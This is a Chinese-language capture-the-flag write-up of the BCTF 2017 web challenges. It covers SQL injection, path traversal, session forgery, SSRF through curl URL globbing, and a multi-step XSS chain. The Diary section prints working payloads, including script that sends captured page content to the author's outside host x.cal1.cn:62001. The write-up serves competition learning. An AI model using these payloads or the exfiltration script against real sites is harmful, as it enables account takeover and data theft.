BCTF 2017 web writeup
发表于 2017 年 4 月 19 日
按题目质量从低到高排序。
admin only
找回密码的用户名处填入 admin ,返回 admin 的密码的 md5 。登录后注意到 Set-Cookie: identity=ee11cbb19052e40b07aac0ca060c23ee
,是 "user" 的 md5 。修改为 admin 后页面返回 "insweb17", 结合题目描述,在 GitHub 上找到该用户,下载 share 项目里的文件,观察到是个 apk ,反编译 dex 后在 hello/test/athis/myapplication/C0149h.java
里得到加密方式 AES/ECB/PKCS5Padding 、密钥和密文,解密得到 flag。
Baby SQLi & Kitty Shop
简单的登录功能,用户名 admin'#
即可登录,可以推测 SQL 语句是
SELECT * FROM foo WHERE username='{{ username }}' and password='{{ password }}';
购买页面提示库存里有 4 个物品,而 manual 里说有 a/b/c 三个物品,购买物品 d 就能获得一个 flag。
manual 的下载是向 load.php POST 文件名实现的,测试发现 manual
与 ./manual
返回的内容相同,猜测可以读取任意文件,读到 ../.viminfo
,得到 ~/app/encrypt0p@ssword/password
。
最后在 ../../../../backup/client.zip
得到一个压缩包,交给二进制选手得到 flag。这里必须吐槽这个 viminfo ,强行出题是什么味儿?恶臭。
signature
扫一扫目录发现有个 /user_guide/
,确定是 CI 框架后,根据目录结构在 /application/controllers/
下发现 blog_backup_2014.php
,结合提示 "take care of the keys" 在 Github 上搜索这个文件名可以找到 https://github.com/xiaobaozidi/bbbccctttffff
。由于 session 根据 key 生成,所以可以本地搭起来,构造出登录 admin 后的 session 。
登录后通过盲注获得数据:
sourcekey 表
Bankname | MD5_key |
---|---|
CBC | 02359dc1a4d2612aac83872031d970b9 |
CMB | 6c35ebc95955c672ead533295587fe07 |
CSB | abb0a201345974f3dbf641ea2f8686cb |
HSBC | 073a6ab30b859e326719e18a35de17b4 |
payment 表
UserID | BillNo | Bankname | ServiceType |
---|---|---|---|
C33506 | 45156890612662948 | HSBC | CARD_PAY |
payment 表唯独缺 index.php/payment
表单的最后一项 signature ,在源码中找到计算 signature 的函数
function tosignature($userid, $bankname, $billno, $servicetype, $md5_key){
$arr = array($userid, $bankname, $billno, $servicetype, $md5_key);
return md5(join('&', $arr));
}
这里需要计算 md5 ,所以盲注时要用 like binary
获得大小写正确的数据。
Alice and Bob
题目摆明是个 SQL 注入,在 Alice 后加一个单引号可以看到错误信息。Alice'#
与 Alice
的结果相同,推测 SQL 语句是
SELECT * FROM foo WHERE name='{{ name }}';
尝试 0' union select '#
发现有 WAF ,而 0 union select '#
却没有被 WAF 拦截,说明这并不是传统的正则 WAF 。尝试多种姿势后感觉这个 WAF 似乎很聪明呢,只拦截具有攻击性的 Payload 。试着多句执行,发送 Alice';
居然返回 HTTP 500 ,而 Alice';#
返回正常的结果,怕是可以多句执行。
于是用 Alice';show tables;#
和 Alice';show 123;#
进行验证,前者正常返回,后者 500 。确定了,可以多句执行,错误时会返回 500。用我们的 2*1e308 报错大法盲注即可:
Diary
火日师傅出的 Diary 和 Paint 这两题我给满分。一看到在另一个域名进行身份认证,我就猜到八成是 Turning Self-XSS into Good-XSS 的复现了。
Diary 处可以利用 HTML 实体编码绕过 filter 构造出 Self-XSS ;Bug Report 仅能提交当前域的链接,利用 phithon 师傅的 CVE-2017-7234 可以实现任意地址跳转。
构造恶意页面,先让 admin 在 diary 域下注销,同时利用 CSP 拦截注销 auth 域登录状态的请求,从而保留 auth 域的登录状态。然后用构造好 Self-XSS 的帐号的 auth code 登录 diary 域,触发 Self-XSS ,此时我们已经可以在 diary 域下执行任意 JS 代码了。创建一个 iframe ,用相同的方法注销 diary 域的登录状态,利用 auth 域的登录信息重新以 admin 的身份登录 diary 域,向 Survey POST 后传回即可获得 flag 。详细的解释请参考原文,整个攻击流程非常优雅,可以说令人拍案叫绝了。
贴上我的 Payload 和代码们:
http://diary.bctf.xctf.org.cn/static/%5c%5cx.cal1.cn/_fire/1.html
1.html 负责注销 diary 域,登录恶意帐号,跳转到 diary 页面触发 Self-XSS
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<script src="http://diary.bctf.xctf.org.cn/static/js/jquery.min.js"></script>
<img src="http://diary.bctf.xctf.org.cn/accounts/logout" onerror="tologin();">
<script>
var tologin = function(){
document.body.innerHTML='<img src="http://diary.bctf.xctf.org.cn/accounts/login" onerror="toreceive();">'
}
var toreceive = function(){
document.body.innerHTML='<img src="http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code=B2pYAmGDggQWWD9UoXYSHzqDgRV300" onerror="bye();">'
}
var bye = function(){
window.location='http://diary.bctf.xctf.org.cn/diary/'
}
</script>
diary 页面有我们绕过 filter 后构造的 XSS
filters("<img src=/1" onerror="$.getScript('//x.cal1.cn/fire/2.js')>")
2.js 负责创建 iframe,调用 3.html,在 3.html 载入完成后向 survey 发送 POST 请求,并传回内容
var i = document.createElement('iframe');
i.setAttribute('src', 'http://x.cal1.cn/_fire/3.html');
document.body.appendChild(i);
setTimeout(function(){
i = window.frames[0]
i.location.href = '/survey/'
setTimeout(function(){
csrftoken = i.$('body > div.container > form > input[type="hidden"]')[0].value
i.$.post('/survey/', data={rate:5, suggestion:'ok', csrfmiddlewaretoken:csrftoken}).then(function(data){$.post('//x.cal1.cn:62001', data={a:escape(data)})})
},3000)
},3000)
3.html 负责注销 diary 域,利用 auth 域的登录状态在 diary 域重新登录 admin 的帐号
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn">
<script src="http://diary.bctf.xctf.org.cn/static/js/jquery.min.js"></script>
<img src="http://diary.bctf.xctf.org.cn/accounts/logout" onerror="redir();">
<script>
var redir = function(){
window.location = 'http://diary.bctf.xctf.org.cn/accounts/login'
}
</script>
Paint
upload.php 可以上传任意内容的文件,扩展名只能是图片类的。本地用户访问 flag.php 可以获得 flag 。 image.php 可以传入 url ,服务端用 curl 取回内容,经过 GD 库处理后保存成图片,目标必须是图片才能成功保存,否则只返回长度,提示 "Not Image"。
用指向 127.0.0.1 的域名可以绕过限制,也可以用 127.0.0.1/8 或者 0(0.0.0.0) 。
$ curl http://paint.bctf.xctf.org.cn/image.php -d "url=http://paint.bctf.xctf.org.cn/flag.php"
{"files":{"size":80,"error":"Not Image"}}
curl http://paint.bctf.xctf.org.cn/image.php -d "url=http://l.cal1.cn/flag.php"
{"files":{"size":374,"error":"Not Image"}}
用 intruder fuzz 一下可用字符发现有 []
和 {}
,试了下在 URL 中使用 [1-2]
,收到了两个请求
而且 size 居然是两个返回内容合并之后的大小,做到这儿以为是命令注入,试了多种姿势并不行。重新查一下 curl 的文档,发现了非常厉害的用法:
You can specify multiple URLs or parts of URLs by writing part sets within braces as in:
http://site.{one,two,three}.com
or you can get sequences of alphanumeric series by using [] as in:
ftp://ftp.example.com/file[1-100].txt
也就是说我们可以让服务端 curl 多个地址,将多段内容拼接后再给 GD 库去处理。一开始我想用 http://[1-3].cal1.cn/flag.php
,将 1 与 3 指向自己的服务器,2 指向 127.0.0.1 进行拼接,然而 image.php 用正则检测域名是否合法。
所以只能换用 {}
,用 https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE 生成一个经过 GD 库压缩后仍有长度为 374 的可控区域的 gif ,以这个长度为 374 的块为界限切割成两个文件,通过 upload.php 上传即可。